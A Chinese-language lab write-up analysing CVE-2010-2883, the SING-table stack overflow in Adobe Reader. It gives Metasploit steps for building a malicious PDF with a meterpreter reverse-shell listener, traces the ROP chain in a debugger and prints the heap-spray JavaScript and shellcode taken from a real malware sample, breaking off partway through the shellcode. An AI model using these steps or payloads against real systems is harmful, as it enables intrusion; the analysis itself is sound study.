CVE-2010-2883 Adobe Reader TTF 字体SING表栈溢出漏洞
1. 漏洞描述
Adobe Reader 和 Acrobat 都是美国奥多比(Adobe)公司的产品。Adobe Reader是一款免费的 PDF 文件阅读器,Acrobat 是一款 PDF 文件编辑和转换工具。基于 Window 和 Mac OS X 的 Adobe Reader 和 Acrobat 9.4 之前的9.x版本,8.2.5之前的8.x版本的 CoolType.dll 中存在基于栈的缓冲区溢出漏洞。远程攻击者可借助带有 TTF 字体 Smart INdependent Glyphlets (SING) 表格中超长字段 uniqueName 的 PDF 文件执行任意代码或者导致拒绝服务(应用程序崩溃)
2. 分析环境
环境 | 备注 | |
---|---|---|
攻击主机操作系统(使用MSF的操作系统) | Windows 10/Kali | 能使用MSF的操作系统均可 |
目标主机操作系统 | Windows XP SP3 | 版本号:Windows XP Professional SP3 简体中文版32位 HomeEdition |
虚拟机 | VMware Workstation | 版本号:15.5 PRO |
调试器 | WinDbg OllyDbg |
版本号:6.12.0002.633 x86 版本号:1.0.1 |
反汇编器 | IDA Pro | 版本号:7.0 |
漏洞程序 | Adobe Reader | 版本号:9.3.4 |
更新漏洞程序 | Adobe Reader | 版本号:9.4.0 |
补丁比较工具 | BinDiff | 版本号:7.0 |
漏洞复现 | Metasploit | 版本号:6.18 |
漏洞模块 | CoolType.dll | 版本号:5.5.72.1 |
补丁模块 | CoolType.dll | 版本号:5.5.73.1 |
查壳工具 | PEID | 版本号:0.95 |
PDF文件查看工具 | 0101Editor | 版本号:11.0.1 |
PDF文件分析工具 | PDFStreamDumper | 版本号:0.09.0627 |
样本 md5
名企面试自助手册.pdf: 3f41dc8e22deca8302db1207e5cdc11c
svrhost.exe: 56e6d9b07c8e9e71224c0741566c3eac
msxml0r.dll: dd48f45c9418da8eb89dfcae894d5b93
3. 漏洞复现
3.1 前期准备
在 Windows XP SP3 中安装 Adobe Reader 9.3.4
3.2 本地感染弹出计算器
-
在命令行提示符中输入 msfconsole 启动 Metasploit
-
输入 search CVE-2010-2883 搜索漏洞利用模块
-
使用下面命令生成 pdf 漏洞利用文件
use exploit/windows/fileformat/adobe_cooltype_sing set payload windows/exec set cmd calc.exe exploit
-
pdf 文件生成在 C:\Users\Administrator.msf4\local\msf.pdf 中,将该文件拖入 Windows XP SP3 中
-
在 Windows XP SP3 中双击 pdf 文件,即弹出计算机
3.3 操控靶机
-
在命令行提示符中输入 msfconsole 启动 Metasploit
-
输入 search CVE-2010-2883 搜索漏洞利用模块
-
在 Windows XP SP3 中打开命令行提示符,查看 IP 地址:192.168.137.131
-
在本机中打开命令行提示符,查看 IP 地址:10.18.223.52
-
在 Metasploit 中输入以下命令:
调用meterpreter载荷,反向连接到渗透机 msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 设置IP地址 msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LHOST 10.18.223.52 设置本地监听端口 msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set LPORT 8888 设置PDF文件名称 msf6 exploit(windows/fileformat/adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 生成PDF文件 msf6 exploit(windows/fileformat/adobe_cooltype_sing) > exploit
-
将生成的 PDF 木马文件发送至靶机
-
在 Metasploit 开启 shell 监听会话,等待靶机打开 pdf。输入以下命令:
使用handler监听模块 msf6 exploit(windows/fileformat/adobe_cooltype_sing) > use exploit/multi/handler 回弹一个tcp连接 msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 设置监听IP地址(跟PDF木马文件一致) msf6 exploit(multi/handler) > set LHOST 192.168.137.131 设置监听的端口(跟PDF木马文件一致) msf6 exploit(multi/handler) > 开启监听 msf6 exploit(multi/handler) > exploit
-
靶机中运行pdf,系统会出现卡顿
-
此时 Metasploit 已获取 shell 会话,并用 Meterpreter 控制靶机。输入以下命令:
查看系统信息 meterpreter > sysinfo 截屏 meterpreter > screenshot
-
切换进程
这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失
获取进程 meterpreter > ps 切换进程 meterpreter > migrate 2212
4. PDF 格式和 TTF SING 表
4.1 PDF 的文件结构
可移植文档格式(Portable Document Format,简称PDF)是一种用独立于应用程序、硬件、操作系统的方式呈现文档的文件格式。1991年,Adobe Systems共同创始人约翰·沃诺克提出的名为“Camelot”的系统演变成PDF。
PDF文件格式可以将文字、字型、格式、颜色及独立于设备和分辨率的图形图像等封装在一个文件中。该格式文件还可以包含超文本链接、声音和动态影像等电子信息,支持特长文件,集成度和安全可靠性都较高。而且这种格式是跨平台的,和操作系统无关。
PDF文档是一种文本和二进制混排的格式,PDF文件结构上主要有四部分组成:
-
Header:文件头部,用来注明 PDF 文件的版本号,其值为 %PDF-版本号,如 %PDF-1.5
-
Body: 主体,主要由组成文件的对象组成,如图片、文字等。
-
Cross-reference table: 交叉引用表,用于存放所有对象的位置偏移,可以方便地随机访问 PDF 中的任意对象。
-
Trailer: 文件尾,给出了交叉引用表的位置和一些关键对象的信息,以%%EOF结尾。
4.2 使用 0101 Editor 分析 PDF 文件结构
-
把样本 PDF 文件拖到 010 editor 中,在 View -> Edit As -> Hex ,使用十六进制视图查看文档
-
点击模板最后一个选项,打开模板存储库
-
找到 PDF.bt ,点击下载(此处我已经下载过了)
-
运行下载的模板,
-
点击下面解析结果的相应部分,可以在编辑视图处高亮该部分,可以看到样本的 Header 中版本号是 1.5
-
中间是 PDF 的 body 部分
-
接下来是交叉引用表
-
最后是尾部
4.3 使用 PDFStreamDumper 分析 PDF 文件中的对象
PDF的 Body 可以看成一个树状的层次结构组成,其中的每个节点都是一个对象。由根节点 Document catalog 开始,其页节点包括文档的内容(页树)、大纲、文章线索、等其他属性
以 Page tree 为例,其下面的页节点是 Page 节点,也就是每一个页面,Page 节点又由内容流、缩略图、注解等元素组成
使用 PdfStreamDumper.exe 解析 PDF 文件中的对象
-
在菜单 Load -> Pdf File 中加载样本文件
-
点击第一个对象,/Type 指定了该对象的类型是 Catalog,也就是根对象。
/Pages 指向一个对象 2 0 R , 2是对象的序号,0是生成号,R代表引用一个对象,该对象其实是一个 Pages 对象。/OpenAction 指向了 11 0 R 对象,该对象指定了打开文档时要进行的操作
-
查看 2 0 R 对象,也就是序号为 2 的对象。其中 /Resources 指向一个资源对象 4 0 R。 /Kids 是它的叶节点 5 0 R,其实就是一个 page 节点。/Type 指定该对象是 Pages 对象
-
查看 /Resources 指向的一个资源对象 4 0 R,它是漏洞触发的对象。其对象序号为 4,其中 /Font条目指向了一个字体字典对象 6 0 R
-
查看序号为 6 的对象。/F1代表了使用Type 1字体技术定义字形形状的字体。该字体的详细信息可以从以下地址获得
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/minuxs/TrueType 1.0 Font Files.pdf
-
查看 7 0 R,其中的 /FontDescriptor 指向了一个字体描述器 9 0 R,用于描述字体各种属性
-
查看 9 0 R ,该对象中的 /FontFile2 指向一个流对象 10 0 R,该对象就是触发漏洞的字体对象
-
其中的 00 01 00 00 是 ttf 字体文件的开始标志
-
在 PDFStreamDumper 中右键选择 Save Decompressed Stream, 把该 TTF 内容存在到 txt 文件中
-
打开 0101Editor ,下载 TTF 文件的 0101Editor 模板
-
使用 010editor 打开导出的 ttf 文件和 ttf 解析模板
-
查看 TTF 文件结构
4.4 TTF 文件解析
全名 The TrueType Font File,是定义字体的文件
TrueType 字体文件以表格格式包含构成字体的数据。下面是各表的作用
4.5 SING 表结构
SING 技术是 Adobe 公司推出的针对“外字”(Gaiji)的解决方案,外字是日语中的意思,中文中就是生僻字的意思。SING 允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet)。这种格式通过Adobe公开的,且基于OpenType。
SING(Smart INdependent Glyphlets,智能独立字形包)的规范允许字形包随同文件一起传送,这样包含 SING 字符的文件也是可携带的,而又不会字符乱码、异常显示。
展开 010editor ttf 文件中的表,可以看到有一个 SING 表,该表就是漏洞触发点,TTF 中关于 SING 表的 TableEntry 结构如下:
typedef sturct_SING
{
char tag[4]; // 标记:"SING"
ULONG checkSum; // 校验和:"0xD9BCC8B5"
ULONG offset; // 相对文件的偏移:"0x0000011C "
ULONG length; // 数据长度:"0x00001DDF"
} TableEntry;
在 github 的开源库中找到 SING 表定义,定义如下:
#ifndef FORMAT_SING_H
#define FORMAT_SING_H
#define SING_VERSION VERSION(1, 1)
#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16
typedef struct
{
Card16 tableVersionMajor;//Card16 就是 USHORT 类型,16位大小
Card16 tableVersionMinor;
Card16 glyphletVersion;
Card16 permissions;
Card16 mainGID;
Card16 unitsPerEm;
Int16 vertAdvance;
Int16 vertOrigin;
Card8 uniqueName[SING_UNIQUENAMELEN];//Card8 就是 byte 类型或 char 类型,8位大小
Card8 METAMD5[SING_MD5LEN];
Card8 nameLength;
Card8 *baseGlyphName; /* name array */
} SINGTbl;
漏洞触发的原因是 CoolType.dll 在复制 uniqueName 字段到缓冲区时,没有检查 uniqueName 字段的长度,导致缓冲区溢出
-
查看样本中的 SING 表,可以看到 SING 表在文件中的偏移是 0x11C
-
SING 表中偏移 16 字节的位置是 uniqueName 字段。可以看到样本中的 uniqueName 在超出 28 字节的长度后,仍然没有结束符 \x00 。因此样本中 SING 表的 uniqueName 是一个超长字符串
5. 静态分析
5.1 基于字符串定位的漏洞分析方法
用 IDA 反汇编 CoolType.dll 库,查看字符串可发现 “SING” 字体,因为该字符串是漏洞解析出错的地方,直接定位进去即可查看该库对 sing 表格的解析方式,主要是 strcat 造成的溢出漏洞:
-
用 IDA 反汇编 CoolType.dll 库,点击 View->Open subviews->Strings
-
查找字符串 “SING” ,双击进去查看
-
得到 “SINg” 字符串的地址
-
查找该字符串的交叉引用
-
找到合适的调用处,分析该函数
5.2 基于定位函数交叉引用的漏洞分析方法
-
存在漏洞的 dll 文件复制出来,用 ida 打开进行反汇编。打开 ida 的导入表视图,ctrl+f 搜索 strcat 函数,双击函数
-
在 strcat 函数处按 X 打开交叉引用表
-
在 sub_803DCF9+B2 处的引用就是存在漏洞的地方
-
strcat 函数的定义如下:
char *strcat(char *dest, const char *src);
- dest:目的字符串指针
- src:源字符串指针。
- 返回值:返回dest 字符串起始地址
strcat() 会将参数 src 字符串复制到参数 dest 所指的字符串尾部;dest 最后的结束字符 NULL 会被覆盖掉,并在连接后的字符串的尾部再增加一个 NULL。
注意:dest 与 src 所指的内存空间不能重叠,且 dest 要有足够的空间来容纳要复制的字符串。 -
按下 F5 ,把该段代码反编译成 C 代码。可以看到 strcat 把 v18 变量偏移为 16 地址的字符串复制到缓冲区中,而偏移 16 处刚好是 SING 表的 uniqueName 字段。如果对 SING 表熟悉,就可以确认 v18 就是 SING 表的结构体
-
在 github 上下载以下头文件:
https://github.com/adobe-type-tools/afdko/blob/develop/c/spot/sfnt_includes/sfnt_SING.h
-
修改数据类型:
#ifndef FORMAT_SING_H #define FORMAT_SING_H #define SING_VERSION VERSION(1, 1) #define SING_UNIQUENAMELEN 28 #define SING_MD5LEN 16 typedef struct { USHORT tableVersionMajor; USHORT tableVersionMinor; USHORT glyphletVersion; USHORT permissions; USHORT mainGID; USHORT unitsPerEm; USHORT vertAdvance; USHORT vertOrigin; BYTE uniqueName[SING_UNIQUENAMELEN]; BYTE METAMD5[SING_MD5LEN]; BYTE nameLength; BYTE *baseGlyphName; /* name array */ } SINGTbl; #endif /* FORMAT_SING_H */
-
在 IDA 中按 Ctrl + F9 导入头文件
-
在 v18 处右键,选择 Convert to struct。输入 sing,选择导入的结构体
-
在 v18 处右键重命令变量名成 singTable ,操作完后可读性就高了很多, ida 可以自动识别结构体的字段
6. 动态调试
6.1 调试过程
6.1.1 前置分析
-
用 ollydbg 打开 C:\Program Files\Adobe\Reader 9.0\Reader\AcroRd32.exe
-
加载后按 F9 运行程序,以便加载所需的 dll 库
-
在三个关键位置下断点,首先在引用 singTable 处下个断点,便于观察内存中 singTable 的内容。在 IDA 的 singTable 变量处,右键选择 Synchronize with -> IDA View-A, Hex View-1 ,这样可以把反编译代码与汇编代码窗口同步,这样只要把鼠标放在引用 singTable 变量的地方,即可在 View-A 窗口同步到该处的汇编代码
-
第一处断点地址为 0x0803DD82 。在 ollydbg 界面上按 Ctrl + g, 输入 803DD82 ,点击确定,跳到该地址的汇编代码
-
在该处的汇编代码左边的十六进制显示区域双击或按 F2 下一个断点
-
在调用 strcat() 函数溢出前下一个断点,地址为 0x0803DDAB
-
在触发漏洞的位置下一个断点,该位置从溢出处一直跟踪即可发现,也是关键的一个点,地址为 0x0808B308
-
设置好断点后,可以加载样本文件进行漏洞分析了,将之前用 Metasploit 生成的 pdf 文件拖入虚拟机,命名为 a.pdf,复制一份到 C 盘根目录
-
用 ollydbg 打开的 Adobe Reader 打开 a.pdf 文件,发现此时断在第三个断点处
-
此时 eax 寄存器的值为 0x12E6D0,也就是栈上的一个地址,此时栈顶为 0x12E2D8。会取 eax 指向的地址的值来作为函数调用
-
在 eax 处右键,选择堆栈窗口中跟随
-
可以看到 0x12E6D0 处存放着的值为 0x080833EF ,意味此处代码的跳转会跳到 CoolType.dll 的 0x080833EF 处执行。因此,如果我们在栈溢出时可以覆盖 0x12E6D0 处的值,就可以跳到任意地址去执行 shellcode
-
在 ida 处按 g 键,输入 0x080833EF ,回车,跳到该处的代码
这是一个根据 switch 语句的值进行相应处理的函数:
-
通过以上分析,可以确定,栈上的 0x12E6D0 地址存放着一个函数指针,在处理 SING 表时,会调用该函数指针
-
按 F9 继续运行程序,断在第一个断点处,此处是引用 singTable 的地方,按 F8 运行到下一行代码,此时 eax 指向 SING 表在内存中的位置。在 eax 处右键在数据窗口跟随。可以看到左下角的数据窗口中看到 SING 表的内容,eax 指向的内存地址的 0x10 偏移处即为 SING 表的 uniqueName。可以看到 SING 表的 uniqueName 字段相当长
-
一直按 F8 运行到 0x0803DD9F 处,此处把 eax 加 0x10, 取到 uniqueName 的地址,用于调用 strcat()
-
继续运行到第二个断点 0x803DDAB 处,也就是调用 strcat() 函数处。在右下角的栈窗口上可以看到 strcat 复制的目的地址是栈上的缓冲区 0x12E4D8
-
在运行 strcat 函数之前,先查看栈上 0x12E6D0 处附近的数据是什么。在栈窗口上按 ctrl + g 输入 0x12E6D0
此时 0x12E6D0 处的值仍然为之前的 0x80833EF:
-
查看缓冲区 0x12E4D8 附近的值(即目的地址)
-
按 F8 单步步过 strcat 函数,来到下一行,可以看到 uniqueName 的值已经复制到栈缓冲区 0x12E4D8 处
-
查看 0x12E6D0 处的值,已经被覆盖成 0x4A80CB38,该处为 icucnv36.dll 的代码
-
在汇编代码窗口按 ctrl+g 跳到 0x4A80CB38 处的代码,该处的代码会调整栈顶并返回,明显是一个使用 ROP 技术绕过 DEP 保护的技术
6.1.2 寻找触发点
漏洞触发点是 0x0808B308 处的 call [eax] ,可以从调用 strcat 函数开始,一步一步的步入代码去寻找调用点,在寻找的过程中,可以使用 ida 的反编译窗口来加强理解这些汇编代码的作用
寻找方法如下:
在返回函数前,为了寻找覆盖栈后,可能会导致程序崩溃的子函数,可以在每次函数调用前,都下个断点,然后 F8 步过直接执行完该函数,如果程序退出,证明这个函数里面可能引用到覆盖后的数据。然后用 ollydbg 重新运行到该断点处,用 F7 步入函数继续跟踪到触发点。
在开始操作前,先打个虚拟机快照,因为该样本的触发点运行后,会释放恶意代码,运行过一次恶意代码后会影响后续的样本分析,所以在找到触发点后,需要恢复下快照,把系统恢复到恶意代码释放前。
1)一路按 F8,运行到调用函数时,下一个断点
2)按 F8 步过该函数,发现程序没有崩溃,删除上面的断点,继续往下测试,直到调用 0x08016BDE 函数处,F8 会直接跑到 call [eax] 处,显然通过该函数会直接运行到触发点
3)发现调用点后,可以这里可以 ctrl+F2 重新打开程序,加载程序,运行到断点处,按 F7 步入 0x08016BDE 函数,并在 IDA 反编译窗口中跟进该函数。重复上面的操作,在 0x08016C56 地址处调用 0x0801BB21 函数后会跑到 call [eax] 处
4)F7 继续跟进这个函数,在 0x0801BB2D 处把 ecx 指向的值移动到 eax
5)在 ecx 上右键,在数据窗口中跟随
6)在数据窗口中右键 -> 长型->地址,以地址形式显示数据,发现 ecx 处的值也是一个指针,指向 0x081A601C
7)在数据窗口中 ctrl+g 输入 0x081A601C,跳转到该地址,发现该地址处存放着很多函数指针,显然是一个 C++ 类的虚表。而 0x081A601C 则是一个虚表指针,指向该虚表
8)在 IDA 中查看该地址,可以看到该类是 StreamHandler,应该是处理解析 PDF 中流对象的类
9)在反编译窗口中修改下该函数的变量名,该函数的功能也就是取 StreamHandler 的第一个虚函数 0x0808B116 ,然后运行该函数
10)继续运行到调用该虚函数处
11)查看此时的栈情况,分别对应 0x0808B116 函数的 7 个参数,第一个参数是 StreamHandler 对象。也就是 0x12E718 处的对象
12)查看该地址的数据时,发现该对象偏移 0x3C 处,存放了 0x12E6D0,该地址刚好存放了后面要调用的函数指针,在缓冲区溢出时,很可能是覆盖了 StreamHandler 的一个成员变量,该变量是一个函数指针,指向一个处理函数
13)F7 跟进 0x0808BB16 函数,在 0x0808B2E3 处调用处取了 0x12F718 + 0x3C 处的值放到 eax,也就是 StreamHandler 对象偏移为 0x3C 处的值,该值为 0x12E6D0
14)继续运行,在 0x0808B308 处 call [eax] 取 0x12E6D0 处的值作为函数进行调用,该值为 icucnv36.dll 中的地址 0x4A80CB38
15)按 F7 步入后,就到了 ROP 链
6.1.3 ROP 链分析
1)跳到 0x4A80CB38 处运行
2)add ebp, 0x794 调整了 ebp,加了 0x794,从0x12DD48 调整到 0x12E4DC
3)下面的 leave 指令相当于 mov esp,ebp pop ebp。也就是把 ebp 的值复制到 esp,也就达到了调整栈顶的目的,运行完后, esp 指向 0x12E4E0,而缓冲区溢出时的地址是 0x12E4D8,该地址刚好在后面8个字节,是我们可以控制的栈区。所以这段汇编代码的作用是把栈顶调整到可以控制的栈区
4)接下来根据栈上的返回地址返回,到达下一段 ROP 代码
retn 指令相当于:pop eip add esp, 4h
5)该处 pop esp 把 esp 修改到 0x0c0c0c0c 地址,也就是堆喷常用的地址。运行完后,栈顶来切换成 0x0c0c0c0c
6)继续执行返回,到达下一段 ROP 代码
7)执行完 pop ecx 把 0x4A8A0000 地址出栈到 ecx
8)继续执行返回,到达下一段 ROP 代码
9)该段代码执行 mov dword ptr ds:[ecx],eax 保存 eax 处的值到 0x4A8A0000 处
10)继续执行返回,到达下一段 ROP 代码
11)此时栈顶存放了 CreateFileA 函数的地址,通过 pop eax 赋值给 eax,然后返回
12)返回到 jmp [eax], 也就是直接跳转到 CreateFileA 函数中执行,此时栈上是已经构造好的参数
CreateFileA函数:创建或打开文件或 I/O 设备
原型和参数解释:
HANDLE CreateFileA(
[in] LPCSTR lpFileName, //要创建或打开的文件或设备的名称,下图中为 0x4A8522C8,值为iso88591
[in] DWORD dwDesiredAccess,//访问权限,下图中为 GENERIC_ALL 0x10000000(所有可能的访问权限)
[in] DWORD dwShareMode, //文件或设备的请求共享模式,下图中为 null
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,//指向一个 SECURITY_ATTRIBUTES 结构的指针,下图中为 null
[in] DWORD dwCreationDisposition,//对存在或不存在的文件或设备执行的操作,下图中为 CREATE_ALWAYS
[in] DWORD dwFlagsAndAttributes,//文件或设备属性和标志,下图中表示文件用于临时存储且文件被隐藏
//下图中为 FILE_ATTRIBUTE_TEMPORARY|FILE_ATTRIBUTE_HIDDEN
[in, optional] HANDLE hTemplateFile//具有 GENERIC_READ 访问权限的模板文件的有效句柄,下图中为null
);
13)继续按 F7 步入 CreateFileA ,该函数会在本地打开一个文件,如果不存在则创建。FileName 参数为 iso88591 ,也就是在本地创建一个名为 iso88591 的文件,且该文件是一个隐藏文件和临时文件。要在文件夹中开启显示隐藏文件才可以查看
14)按 Ctrl + F9 执行至返回,在桌面上可以看到这个文件
15)CreateFileA 函数调用完后,返回至 0x4A801064 处,在该处执行 retn 指令
16)执行完上述的 retn 指令后,到达 0x4A8063A5 处
17)该处代码执行 pop ecx 指令,此时 ecx 被赋值为 0x4A801064
18)继续执行,到达 0x4A842DB2 地址处
19)该代码把 eax 和 edi 的值交换,此时 eax 保存的是 CreateFileA 函数调用后返回的文件句柄,交换后文件句柄由 edi 保存
20)继续运行到 0x4A802AB1 处
21)该代码把 8 赋值给 ebx
22)继续运行到 0x4A80A8A6处
23)该代码把 edi 的值放到 esp + ebx * 2 处 , 也就是 0x0c0c0c6c ,此处原来的值是 0xFFFFFFFF, 通过 and 操作可以把 edi 的值放到此处,该处刚好为接下来要调用的 CreateFileMappingA 函数的第一个参数位置。
这样操作应该是没找到直接把 eax 的值放到栈上指定位置的指令,只找到了把 edi 的值放到栈上指定位置的指令
24)按下 Ctrl + F9 运行到返回,接下来把 CreateFileMappingA 函数地址放到 eax 中
25)继续运行到 0x4A80B692 处,此时栈中已布置好参数
CreateFileMappingA函数:为指定文件创建或打开命名或未命名的文件映射对象
原型和参数解释:
HANDLE CreateFileMappingA(
[in] HANDLE hFile, //文件句柄,下图中为0x33C
[in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, //指向SECURITY_ATTRIBUTES结构的指针,下图中为 null
[in] DWORD flProtect, //指定文件映射对象的页面保护,下图中为 PAGE_EXECUTE_READWRITE 40
[in] DWORD dwMaximumSizeHigh,//文件映射对象的最大大小的高阶 DWORD,下图中为0
[in] DWORD dwMaximumSizeLow,//文件映射对象的最大大小的低序 DWORD,下图中为 0x10000
[in, optional] LPCSTR lpName //文件映射对象的名称,下图中为0
);
26)此时按 F7 步入,直接跳转到 CreateFileMappingA 函数运行。在栈上可以看到 CreateFileMappingA 函数的参数,该函数为指定的文件创建文件映射对象
27)按下 Ctrl + F9 运行到返回,继续运行,后面的运行和前面的运行很相似,也是调用 MapViewOfFile ,也把 CreateFileMappingA 返回的句柄 0x340 保存到栈上,作为 MapViewOfFile 函数的第一个参数
① 执行 pop ecx 指令,将 ecx 赋值为 4A801064
② 交换 eax, edi,此时 eax 内保存创建文件的句柄,edi 保存 CreateFileMappingA 返回的句柄
③ 将 ebx 赋值为 8
④ 将句柄保存到栈上,以便下个函数调用
⑤ 出栈 MapViewOfFile 函数的地址
⑥ 继续运行到 0x4A80B692 处,此时栈中已布置好参数
MapViewOfFile函数:将文件映射的视图映射到调用进程的地址空间
原型和参数解释:
LPVOID MapViewOfFile(
[in] HANDLE hFileMappingObject, //文件映射对象的句柄,下图中为 0x340
[in] DWORD dwDesiredAccess, //对文件映射对象的访问类型,下图中为 FILE_MAP_EXECUTE|FILE_MAP_WRITE
[in] DWORD dwFileOffsetHigh,
[in] DWORD dwFileOffsetLow,
[in] SIZE_T dwNumberOfBytesToMap //要映射到视图的文件映射的字节数,下图中为 0x10000
);
⑦ 跳转到 MapViewOfFile 函数中执行,该函数将一个文件映射对象映射到当前应用程序的地址空间,调用函数后会返回该文件对象在内存中对应的地址
⑧ 运行到返回后,eax 存放着映射的内存地址,此处为 0x37D0000
28)查看映射地址 0x37D000 处的属性为读写执行权限,可以执行 shellcode
29)继续运行,把 0x4A8A0004 地址放到 ecx
30)把 eax 中由 MapViewOfFile 函数返回的内存地址保存到 0x4A8A0004 中
31)执行 pop ecx 指令将 ecx 赋值为 0x4A801064
32)交换 eax, edi,
33)给 ebx 赋值 0x30
34)把 edi 的值保存在 esp + ebx*2 的位置,也就是 0x0C0C0D44 的位置 ,该处的作用是用于后续 ROP 链的返回地址,最后 retn 时会返回到 0x37D0000
35)给 eax 赋值 0x4A8A0004
36)把 0x4710000 这个新映射的地址保存到 eax 中
37)执行 pop ecx 将 ecx 赋值为 0x4A801064
38)交换 eax, edi(此处两者都一样,交换完也一样)
39)赋值 ebx 为 0x20
40)保存 0x37D0000 到 esp + ebx*2 处,该处为后续要调用 memcpy 函数的参数
41)赋值 ecx 为 0x4A801064,该处为一个 retn 指令的地址
42)在 0x4A80AEDC 处把栈地址 + 0xC 的位置加载到 edx,此时 edx 为 0x0C0C0D20 。目的是为后续调用 memcpy 做准备
push edx 0x0C0C0D10 0C0C0D20
push eax 0x0C0C0D0C 037D0000
push .... 0x0C0C0D08 4A8063A5
push .... 0x0C0C0D04 0
43)通过 call ecx 实现返回控制权
0x4A801064 处为一条 retn 指令,此时执行该指令可直接跳转到 0x4A80AEEE,可重新控制程序流程
44)调整栈中执行位置,继续返回,跳转至 0x4A801F90
45)给 eax 赋值 0x34
46)edx + eax 保存到 eax,值为 0x0C0C0D54,该值为后续 memcpy 调用的源地址
47)执行 pop ecx 将 ecx 赋值为 0x4A801064
48)交换 eax, edi,此时 edi 中为后续 memcpy 调用的源地址
49)赋值 ebx 0xA
50)把 0x0C0C0D54 地址放到 0x0C0C0D4C 处,此处刚好是调用 memcpy 时的源地址参数
51)给 eax 赋值为 memcpy 函数的地址
52)跳转到 memcpy 函数
53)memcpy 函数会把数据从一个源地址复制到目的地址,查看栈中构造好的参数,目的地址是 0x37D0000, 源地址是 0x0C0C0D54,0x0C0C0D54 后面就存放着恶意代码
54)复制完后,会返回到 0x37D0000 执行恶意代码
6.1.4 堆喷(Heap Spray)分析
前面分析 ROP 链时,栈顶被切换到 0x0c0c0c0c 的位置,该地址被放置了构造好的栈和shellcode。这里就用到了堆喷技术。
在使用HeapSpray的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后用JavaScript申请大量堆内存,并用包含着0x90和shellcode的“内存片”覆盖这些内存。通常,JavaScript会从内存低址向高址分配内存,因此申请的内存超过200MB(200MB=200 X 1024X 1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有shellcode 的内存片覆盖。只要内存片中的0x90能够命中0x0C0C0C0C的位置,shellcode 就能最终得到执行。
1. 提取样本中的 heap spray 代码
-
使用 PDFStreamDumper 查看样本文件时,在根对象处有个 /OpenAction 键,指向 11 0 R 对象。OpenAction 指定了在打开文档时会执行什么动作
-
查看 ID 为 11 的对象,发现该动作是执行一段 JavaScript 代码,该代码在 12 0 R 对象处
-
12 对象处是 javascript 代码,把这段代码复制出来,代码中做了些混淆技巧,如随机命名变量名,把函数名赋值给随机变量,用 \x25 代替 % 号等等。对变量重命名一下
处理好的代码如下:
//afjp;ajf'klaf
var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for (i = 0; i < 28002; i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu += 0x78; //ahflajf
var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
